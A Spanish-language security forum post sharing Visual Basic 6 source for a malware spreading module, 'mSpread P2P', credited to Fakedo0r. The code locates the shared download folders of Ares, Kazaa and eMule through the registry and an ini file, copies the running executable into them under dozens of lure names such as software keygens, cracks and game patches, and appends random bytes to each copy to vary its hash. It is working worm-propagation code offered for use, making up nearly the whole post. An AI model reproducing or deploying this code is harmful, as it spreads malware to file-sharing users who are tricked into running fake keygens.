Tu comunidad de Seguridad Informatica

Para ver Todo el contenido del foro es necesario estar Registrado!
Antes de comentar o Aportar es Obligado Leer Las: Reglas | Rules
Ya Esta Disponible al publico "LeProject" el Videojuego del Foro Click Aquí Para Ver el Post.
Pitbull Security Labs "Extras" Esta Disponible! [ENTRA]

No estás conectado. Conéctate o registrate

Ver el tema anterior Ver el tema siguiente Ir abajo  Mensaje [Página 1 de 1.]

avatar
Moderadores
Moderadores

Ver perfil de usuario
el Jue Jun 02, 2011 3:39 pm
Código:
Option Explicit
Option Base 1

'------------------------------------------------------------------------------
'------------------------------------------------------------------------------
'------------------------------------------------------------------------------
'------------------------------------------------------------------------------
' MODULO      : mSpread P2P                              |||
' FECHA        : 07/12/2010 22:39                        |||
' AUTOR        : Fakedo0r                                |||
' CORREO      : [Tienes que estar registrado y conectado para ver este vínculo]                        |||
' CREDITOS    : Jhonjhon_123                            |||
' DESCRIPCION  : Propagacion por P2P(Ares, eMule, Kazaa)  |||
' USO          : Call P2P                                |||
'------------------------------------------------------------------------------
'------------------------------------------------------------------------------
'------------------------------------------------------------------------------
'------------------------------------------------------------------------------

'==============================================================================
' --- APIS
'==============================================================================
Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" (ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As Long
Private Declare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long
'==============================================================================
' --- CONSTANTES
'==============================================================================
Private Const REG_SZ = 1
Private Const REG_BINARY = 3

Private Const HKEY_CURRENT_USER = &H80000001
Private Const MAX_PATH As Long = 260
Private Const INVALID_HANDLE_VALUE As Long = -1
Private Const FILE_ATTRIBUTE_DIRECTORY As Long = &H10
'==============================================================================
' --- TYPES
'==============================================================================
Private Type FILETIME

  dwLowDateTime        As Long
  dwHighDateTime      As Long
 
End Type

Private Type WIN32_FIND_DATA

  dwFileAttributes    As Long
  ftCreationTime      As FILETIME
  ftLastAccessTime    As FILETIME
  ftLastWriteTime      As FILETIME
  nFileSizeHigh        As Long
  nFileSizeLow        As Long
  dwReserved0          As Long
  dwReserved1          As Long
  cFileName            As String * MAX_PATH
  cAlternate          As String * 14
 
End Type
'==============================================================================
' --- FUNCION RECUPERA EL TIPO/LOS DATOS PARA EL NOMBRE DEL VALOR ESPECIFICADO
'==============================================================================
Private Function RegQueryStringValue(ByVal hKey As Long, ByVal strValueName As String) As String
 
    Dim lResult As Long, lValueType As Long, strBuf As String, lDataBufSize As Long
 
    lResult = RegQueryValueEx(hKey, strValueName, 0, lValueType, ByVal 0, lDataBufSize)
 
    If lResult = 0 Then
 
        If lValueType = REG_SZ Then
         
            strBuf = String(lDataBufSize, Chr$(0))
         
            lResult = RegQueryValueEx(hKey, strValueName, 0, 0, ByVal strBuf, lDataBufSize)
         
            If lResult = 0 Then
                RegQueryStringValue = Left$(strBuf, InStr(1, strBuf, Chr$(0)) - 1)
            End If
         
        ElseIf lValueType = REG_BINARY Then
         
            Dim strData As Integer
         
            lResult = RegQueryValueEx(hKey, strValueName, 0, 0, strData, lDataBufSize)
         
            If lResult = 0 Then
                RegQueryStringValue = strData
            End If
         
        End If
     
    End If
 
End Function
'==============================================================================
' --- FUNCION LEER LA CLAVE
'==============================================================================
Private Function GetString(hKey As Long, strPath As String, strValue As String) As String
 
    Dim Ret
 
    RegOpenKey hKey, strPath, Ret
    GetString = RegQueryStringValue(Ret, strValue)
    RegCloseKey Ret
 
End Function
'==============================================================================
' --- FUNCION HEX --> ASCII
'==============================================================================
Private Function HexToAscii(ByVal Text As String) As String
 
    Dim I      As Integer
    Dim Value  As String
    Dim Num    As String
 
    For I = 1 To Len(Text)
        Num = Mid(Text, I, 2)
        Value = Value & Chr(Val("&h" & Num))
        I = I + 1
    Next I
 
    HexToAscii = Value

End Function
'==============================================================================
' --- FUNCION COPIAR
'==============================================================================
Private Function APIFileCopy(src As String, Dest As String, Optional FailIfDestExists As Boolean) As Boolean

    Dim lRet As Long
 
    lRet = CopyFile(src, Dest, FailIfDestExists)
    APIFileCopy = (lRet > 0)

End Function
'==============================================================================
' --- FUNCION RANDOM
'==============================================================================
Public Function Random(a As Integer, b As Integer) As Integer

    Randomize
    Random = Int((a - b + 1) * Rnd + b)

End Function
'==============================================================================
' --- FUNCION COMPROBAR LA RUTA/EL ARCHIVO
'==============================================================================
Private Function FolderExists(sFolder As String, Optional File As Boolean = False) As Boolean

    Dim hFile  As Long
    Dim WFD    As WIN32_FIND_DATA
 
    If Not File Then sFolder = UnQualifyPath(sFolder)
 
    hFile = FindFirstFile(sFolder, WFD)
 
    If Not File Then
        FolderExists = (hFile <> INVALID_HANDLE_VALUE) And _
        (WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY)
    Else
        FolderExists = hFile <> INVALID_HANDLE_VALUE
    End If
 
    Call FindClose(hFile)

End Function

Private Function UnQualifyPath(ByVal sFolder As String) As String
 
  sFolder = Trim$(sFolder)
 
  If Right$(sFolder, 1) = "" Then
      UnQualifyPath = Left$(sFolder, Len(sFolder) - 1)
  Else
      UnQualifyPath = sFolder
  End If
 
End Function
'==============================================================================
' --- FUNCION OBTENER CONTENIDO *INI
'==============================================================================
Public Function GetIni(Path As String, Name As String, KeyName As String, Default As String)

    Dim Result      As String
    Dim Len_Result  As Long
   
    Result = String(255, Chr(0))
   
    Len_Result = GetPrivateProfileString(Name, KeyName, Default, Result, Len(Result), Path)
   
    GetIni = Left(Result, Len_Result)

End Function
'==============================================================================
' --- FUNCION LLAMAR LA FUNCION P2P
'==============================================================================
Public Function P2P()

    Dim Ares            As String
    Dim Kazaa          As String
    Dim eMulePath      As String
    Dim eMuleShare      As String
    Dim sPath()        As String
    Dim D              As Integer
 
    Dim File            As String
    Dim F_File          As String
    Dim Names()        As String
    Dim I              As Integer
 
    Dim Pump            As String
    Dim KBytes          As String
    Dim X              As Integer
     
    Ares = HexToAscii(GetString(HKEY_CURRENT_USER, "Software\Ares", "Download.Folder"))
    Kazaa = GetString(HKEY_CURRENT_USER, "Software\Kazaa\LocalContent", "DownloadDir") & ""
    eMulePath = GetString(HKEY_CURRENT_USER, "Software\eMule", "Install Path") & "" & "config"
    eMuleShare = GetIni(eMulePath & "preferences.ini", "eMule", "IncomingDir", Default)
 
    Names = Split("Adobe Acrobat 9 Keygen, Adobe Photoshop CS4 Keygen, Adobe Photoshop CS5 Keygen" & _
      "Adobe Photoshop CS5 Extended Keygen, Adobe Photoshop Elements 9.0 Keygen" & _
      "Aiseesoft DVD Ripper 5.0.22-Lz0 Keygen,Aiseesoft Total Video Converter (v5.1.1.10) Keygen" & _
      "Akvis ArtSuite 6.5.2121 Keygen,WinRAR 3.93 Keygen,Virtual DJ Home 7.0 Keygen" & _
      "Alcohol 120% 1.9.8.7612,Alcohol 120% 2.0.1.2033,AnyDVD HD 6.6.0.3 Keygen" & _
      "Patch Windows 7,Aqualux Deluxe Keygen,Microsoft Office 2007 Professional Keygen " & _
      "Malwarebytes Anti-Malware Keygen,Ashampoo Burning Studio Keygen,Ashampoo Movie Menu Keygen" & _
      "Assasins Creed 2 (2010),Ashampoo Snap 4 4.1 Keygen,TuneUp Utilities Keygen ,Audio Edit Magic 7.6.0.34 Keygen" & _
      "Auto Hide IP Keygen,Autodesk AutoCAD 2010 Keygen,Autodesk Mudbox 2011 (x64)Keygen,Autodesk Maya Unlimited 2011" & _
      "Autodesk Sketchbook Designer 2011 Keygen,Internet Download Manager 5.19 Keygen,AV Voice Changer Gold 7.0.22" & _
      "Avast AntiVirus 4 8,Avast Internet Security 5.0.545 Keygen,Avast! Pro Antivirus 5.0.677 Keygen" & _
      "Nero 9 Reloaded (9.4.26.0,AVG Anti-Virus Free Edition 2011,AVG Anti-Virus Pro 9.0 Keygen" & _
      "AVG Internet Security 2011 Keygen,Kaspersky All version Activation Key" & _
      "AVG PC Tuneup 2011 10.0.0.20,Hex Workshop v6 Keygen,HyperCam 2 Full Keygen" & _
      "Avira AntiVir Premium 10.0.0.601 Keygen,Nero Multimedia Suite 10.0.13200 Keygen" & _
      "Award Keylogger 1.30 (x86-x64),Backgammon HD 1.4.0 (iPhone),Battlefield 2 (2010)" & _
      "BitTorrent 7.1.22502 (Portable),Blu-ray to DVD II Pro 2.80 Keygen,Call of Duty Patch" & _
      "Call of Duty 4 Modern Warfare Patch,Call of Juarez Bound In Blood Patch,Camtasia Studio 7.1.0.1631" & _
      "Convert Genius 3.6.0.36 Keygen,WinZip 14.0.8708  Keygen,CorelDraw 10.412" & _
      "CorelDRAW 10 10.410 Keygen,CorelDraw Graphics Suite X3 Keygen,Counter Strike 1.6" & _
      "Counter Strike 1.6 Non Steam Patch,Counter Strike Source Patch,Kaspersky Internet Security Keygen", ",")
 
    File = App.Path & "" & App.EXEName & ".exe"
         
    sPath = Split(Ares & vbCrLf & Kazaa & vbCrLf & eMuleShare, vbCrLf)

    For D = 0 To UBound(sPath)
         
        If Not FolderExists(sPath(D)) Then GoTo Fin

        For I = 0 To UBound(Names)
                 
            F_File = sPath(D) & "" & Trim(Names(I)) & ".exe"
         
            If FolderExists(F_File, True) Then GoTo Fin2

            If File <> F_File Then
             
                Call APIFileCopy(File, F_File)
             
                For X = 1 To 10
                    Pump = Pump & String(1, Chr(Random(0, 255)))
                Next
         
                Open F_File For Binary As #1
                    Put #1, LOF(1) + 1, Pump
                Close #1
             
            End If
           
Fin2:
       
        Next I

Fin:
     
    Next D

End Function

Ver el tema anterior Ver el tema siguiente Volver arriba  Mensaje [Página 1 de 1.]

Permisos de este foro:
No puedes responder a temas en este foro.